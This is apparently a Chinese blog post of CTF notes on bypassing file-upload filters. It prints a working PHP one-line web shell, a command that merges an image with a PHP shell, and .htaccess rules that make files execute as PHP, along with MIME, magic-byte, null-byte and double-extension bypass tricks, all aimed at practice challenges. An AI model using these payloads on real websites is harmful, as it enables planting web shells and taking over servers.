ctf技能树----文件上传

前置工具:中国蚁剑

1.正常的一句话木马

<?php
eval($_POST["pass"]);

2.图片马

通过copy进行合成

copy name1.png/b+name2.php/a name3.php
name1 为图片的名字
/b表示二进制文件

name2 为一句话木马文件
/a表示ASCII码文件

name3为合成后的图片名字

上传时需要通过burp_suite修改下Content-Type : image/png 

3.禁用JavaScript

在设置中,搜索JavaScript后禁用掉

4.MIME绕过

通过burp_suite修改文件的类型

5.文件头检测

通过burp_suite修改文件头部的标识符,让防火墙误以为是图片

89 50 4E 47即为图片的标识码

6.添加GIF89a绕过

原理就是让防火墙误以为这个是图片

GIF        GIF 89A

JPEG(JPG)        FFD*FF

PNG        89504E87

小技巧:找到加的位置:在<?php 前放四个+号,然后取Hex中修改

 7. 通过.htaccess绕过

构造.htaccess文件

1.匹配文件名当作php执行

<FilesMatch "asdf">
    SetHandler application/x-httpd-php
</FilesMatch>

2.将png当作php执行(不太好使)

AddType aoolication/x-httpd-php .png

8.00截断

发生截断的两个条件:

php< 5.3.4

magic_quotes_gnc = off

题目描述:上传后题目没有返回文件名

说明这道题涉及到重命名的问题,因此,加入截断字符,打断重命名

解法:

1.上传图片马

2.在url栏截断,不让系统重命名

3.访问:

蚁剑连接: 

http://challenge-98be3014d8744500.sandbox.ctfhub.com:10800/upload/1.php

9.双写绕过

后缀名写两次,让它删

如.pphphphpp 拆开看:p(php)h(php)p

10.修改文件名解析

 看图,源码提示会将文件以python来解析并且只接受后缀名为 .jpg和.png的文件,因此我们调用python中的os库,来执行远程代码执行命令

 

将文件的后缀名修改下变为 11.png

成功拿到flag 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jjj34

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值